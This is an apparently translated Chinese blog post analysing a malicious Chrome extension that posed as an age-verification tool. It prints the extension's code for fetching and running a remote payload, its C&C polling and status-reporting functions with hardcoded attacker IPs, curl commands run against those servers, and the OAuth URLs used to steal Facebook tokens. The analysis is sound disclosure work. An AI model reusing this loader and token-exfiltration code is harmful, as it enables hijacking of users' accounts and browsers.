浏览器在我们的生活扮演一个越来越重要的角色。有了各类web应用程序后,我们把自己的私人数据放在Facebook、亚马逊或GMail等在线服务中,这也要求这些在线服务保证我们的隐私安全,因此出现了双因素认证等保护手段,但这仍然是一个薄弱的环节:一个恶意的浏览器扩展可以使所有的安全措施形同虚设。
似乎大部分人都不知道浏览器扩展的攻击性有多强。它们仍然处于不受管制的范围,因为目前并不存在防御扩展恶意软件的安全措施——你的杀毒软件根本不起作用。
在这篇文章中,我将会分享我发现并调查过的一个恶意软件扩展,它曾使我的一个朋友受到感染。我想展示这个恶意软件的功能,所以我将在这篇文章中发表所有提取出来的代码。
发现
在我的Facebook上,我注意到一个朋友是经常为一些奇怪的、下流的链接点赞。我发现了一个模式: 总是同一个朋友在为相同类型的链接点赞。它们总是有将近900个喜欢,没有评论,而链接后面的页面大约有30个喜欢。
出于好奇,我决定去看看这是什么,所以我点击了一个链接,而这是个巨大的错误。
我立刻看到一条消息,要我在查看内容之前先验证一下年龄。
因为是这种性质的内容,验证年龄看起来似乎也很合理。不合理的地方在于,进行这个验证必须要先安装Chrome扩展。
这个扩展是一个名为viralands.com的网站提供的。
快速搜索显示,他们还另有9条明显一模一样的扩展。这些东西现在已经被移除,但在我看到它的时候,那些扩展总共拥有132265名用户。
我决定先看看扩展的代码,下面就是我发现的内容。
这个扩展清单十分可疑
可以从一个叫做manifest.json的扩展清单文件入手,这是一个元数据文件,里面包含扩展的一些信息,例如名称、描述、版本号、权限等。
扩展请求了以下的权限:
1 2 3 4 5 6 7 8 9 |
{ "permissions": [ "storage", "<all_urls>", "tabs", "webNavigation", "alarms" ] } |
安装扩展时,Chrome将会提出以下警告:
添加“敏感内容年龄验证”?
它可以:
•读取和改变你在访问的网站上的所有数据。
看上去,这个扩展只会检查你的年龄,但是如果我们继续阅读清单文件,我们发现以下内容:
{
"background": {
"scripts": [
"scripts/query-string.js",
"scripts/install.js",
"background.js"
],
"persistent": true
},
"content_security_policy": "script-src blob: filesystem: chrome-extension-resource: 'self' 'unsafe-eval'; object-src 'self'"
}
所以总的来说,它想要持续运行3个脚本(这意味着它们不能被暂停),这样就能够从所有的地方获取数据、存储,并评估存储的代码是否安全。
让我们看看这三个脚本(background.js, query-string.js和install.js)。
年龄验证是个幌子
background.js脚本很短,它只会做一件事:在安装扩展时,它会打开一个弹出消息。
弹出来的是一个简单的HTML表单,你可以在里面输入你的生日并按“确认”。
但是那个年龄验证页面上运行的JavaScript尤其有趣:
document.querySelector('#submit').addEventListener('click', function() {
document.querySelector('#box').hidden = true;
document.querySelector('#loading').hidden = false;
setTimeout(function() {
document.querySelector('#loading').hidden = true;
document.querySelector('#done').hidden = false;
}, (randomIntFromInterval(0, 2) / 2 + 0.5) * 1000);
});
是的,如果你点击了“验证”,就会显示“加载…”,然后提示“完成”,年龄验证完全是假的。
那么这背后隐藏了什么呢?这个扩展还另外运行了两个脚本,即query-string.js和install.js
让我们来看看,它实际上在做什么?
获取远程有效载荷
query-string.js脚本并不重要, 这只是NPMpackage的副本。
但是你永远不会相信install.js会做些什么!第133行会使你惊讶。
这是一个外部服务器的硬编码变量,用来获取脚本。
提示:它从上面提到的服务器中获取的脚本是一个恶意软件负载。这个扩展需要下载后再安装,因为如果它想通过Chrome Webstore的安全检查,就不能附带负载。
它会从服务器获取一个脚本,然后将其存储在localStorage并执行。我们可以看到,这发生在getProgram()函数中。
function getProgram(event) {
var xhr = new XMLHttpRequest();
var url = programUrl;
var querySign = url.indexOf('?') === -1 ? '?' : '&';
url += querySign + 'r=' + Date.now();
xhr.open('GET', url, true);
xhr.setRequestHeader('XYZ-Extension-Id', chrome.runtime.id);
xhr.onload = function() {
var code = xhr.response;
try {
var fn = new window['Function'](code);
console.log('Executing loaded code');
fn(); // exit if error
localStorage.setItem('localCode', code);
} catch (e) {
console.error(e);
}
xhr.send();
}
}
我能够用以下的cURL命令来模拟这样的请求。
curl -o external.js –header "XYZ-Extension-Id: nogheblblcgkncmpggmikmcpnjdihgdd" http://104.131.35.136:9999/jsnew.php?id=22&r=1467883037000
我得到了恶意软件的有效载荷,我叫它itexternal.js。这是一个相当长的文件,有1288行,它可以从外部服务器获取指令。
两个URL被定义在external.js的开头:
var ACTIONS_URL = 'http://159.203.99.206/api/get/';
var STATUS_URL = 'http://159.203.99.206/api/status';
第一个URL用于从服务器获取指令,第二个用于报告。这个获取指令的模型叫做指挥和控制(简称C&C)。
我们会发现扩展是如何从C&C服务器获取指令的,以及查看用getActions()函数定义的inexternal.js:
function getActions(uid) {
var xhr = new XMLHttpRequest();
xhr.open('GET', ACTIONS_URL + uid, true);
xhr.responseType = 'json';
xhr.onload = function() {
var data = xhr.response;
var actions = data && data.actions;
if (Array.isArray(actions) && actions.length) {
checkFBLogin(function(status) {
fbLoginStatus = status;
handleActions(actions);
});
}
};
xhr.send();
}
这个uid变量是你的设备的唯一标识符,是由generateUID()生成的:
function generateUID() {
var array = new Uint32Array(8);
window.crypto.getRandomValues(array);
return [].map.call(array, function(n) {
return n.toString(16)
}).join('');
}
我运行了一次:
c38ae4ec1d2820bc9e2c03c0fe517585644576c988a03ae84af63b6d2bc9e7
如果你想得到完全属于你的指令你需要创建自己的UID。为了向服务器模拟发送一个请求,我运行了一次:
curl -o actions.json http://159.203.99.206/api/get/c38ae4ec1d2820bc9e2c03c0fe517585644576c988a03ae84af63b6d2bc9e7
这将返回一个JSON文件,其中包含扩展将要采取的行动的列表。下面是我得到的指令:
{
"actions": [
{
"actionType": "ap",
"data": {
"url": "https://www.facebook.com/dialog/oauth?redirect_uri=http%3A%2F%2Fwww.facebook.com%2Fconnect%2Flogin_success.html&scope=email%2Cpublish_actions%2Cuser_about_me%2Cuser_actions.books%2Cuser_actions.music%2Cuser_actions.news%2Cuser_actions.video%2Cuser_activities%2Cuser_birthday%2Cuser_education_history%2Cuser_events%2Cuser_games_activity%2Cuser_groups%2Cuser_hometown%2Cuser_interests%2Cuser_likes%2Cuser_location%2Cuser_notes%2Cuser_photos%2Cuser_questions%2Cuser_relationship_details%2Cuser_relationships%2Cuser_religion_politics%2Cuser_status%2Cuser_subscriptions%2Cuser_videos%2Cuser_website%2Cuser_work_history%2Cfriends_about_me%2Cfriends_actions.books%2Cfriends_actions.music%2Cfriends_actions.news%2Cfriends_actions.video%2Cfriends_activities%2Cfriends_birthday%2Cfriends_education_history%2Cfriends_events%2Cfriends_games_activity%2Cfriends_groups%2Cfriends_hometown%2Cfriends_interests%2Cfriends_likes%2Cfriends_location%2Cfriends_notes%2Cfriends_photos%2Cfriends_questions%2Cfriends_relationship_details%2Cfriends_relationships%2Cfriends_religion_politics%2Cfriends_status%2Cfriends_subscriptions%2Cfriends_videos%2Cfriends_website%2Cfriends_work_history%2Cads_management%2Ccreate_event%2Ccreate_note%2Cexport_stream%2Cfriends_online_presence%2Cmanage_friendlists%2Cmanage_notifications%2Cmanage_pages%2Cphoto_upload%2Cpublish_stream%2Cread_friendlists%2Cread_insights%2Cread_mailbox%2Cread_page_mailboxes%2Cread_requests%2Cread_stream%2Crsvp_event%2Cshare_item%2Csms%2Cstatus_update%2Cuser_online_presence%2Cvideo_upload%2Cxmpp_login&response_type=token&client_id=41158896424&_rdr",
"callback": "http://159.203.99.206/api/getToken"
}
},
{
"actionType": "ap",
"data": {
"url": "https://www.facebook.com/dialog/oauth?redirect_uri=http%3A%2F%2Fwww.facebook.com%2Fconnect%2Flogin_success.html&scope=email%2Cpublish_actions&response_type=token&client_id=241284008322&_rdr",
"callback": "http://159.203.99.206/api/getToken2"
}
},
{
"actionType": "lk",
"data": {
"id": "VVideosss"
}
}
]
}
泄漏你的访问令牌
前两个行动包含了可以窃取你的访问令牌的链接。如果你加载了这些链接,该扩展将捕获你的访问令牌,并将其发送到服务器。
有了你的Facebook的访问令牌之后,恶意软件运营商会访问您的帐户。他们可以登录、发送和阅读信息、发布状态、链接、评论、文章…这就相当于你的登录凭证被偷了。
喜欢的Facebook页面
在我下载的指令中,还包括为一个叫做VVideosss的页面点赞。
让我们看看这个页面:
68153喜欢,这真是一个受欢迎的页面!但是受到感染的共有132265名用户,这数字差得不多,是吗?
这些页面获得的点赞似乎是从被感染的用户那里得来的,这目前只是个推测。
订阅YouTube频道
我没有得到任何要求订阅YouTube频道的指令,但是代码中有一个函数就是干这个的。
function sendStatus(data) {
chrome.storage.local.get('uid', function(storage) {
data.id = storage.uid;
data.extension_id = chrome.runtime.id;
data.fbLoginStatus = fbLoginStatus;
var xhr = new XMLHttpRequest();
xhr.open('POST', STATUS_URL, true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send(queryString.stringify(data));
console.log('Status data has been sent', data);
});
}
将报告发送给服务器
扩展也可以通过以下功能向C&C服务器发送状态报告,:
它向服务器发送三项内容:
1.UID, 用来识别受感染的机器的ID字符串。
2.扩展ID,一个与扩展对应的字符串 (因为Chrome Webstore有多个可用的副本扩展)。
3.受感染的机器目前是否进入了Facebook。
恶意软件运营商将使用此信息来判断确切的活动规模,并将其作为在黑市上售卖时的价值衡量。
更多的潜在的内容
扩展总是在寻找新版本的负载。因为恶意软件可以“读取和改变你在网站上的所有数据”,其运营商可以了解到你的浏览器中发生的每一件事。
他们可以阅读你的电子邮件,偷走你所有的登录凭证、你的比特币、你的名字,甚至是你的信用卡信息。
我们怎样才能防止这种情况的发生?
我认为,每个人都应该远离所有的浏览器扩展,虽然它们非常有用。
谷歌可以开始标注出值得信赖的扩展,可以通过手动验证扩展或审查开发商的声誉来达到目的。
开源也是一个好方法:如果一个扩展是开源的,那么就可以发一个许可徽章。
但是当前的状态是,Chrome Webstore的运行效率并不高。
你可以报告一个扩展是恶意的,但在至少有132000用户上当之后,这些扩展才被撤下。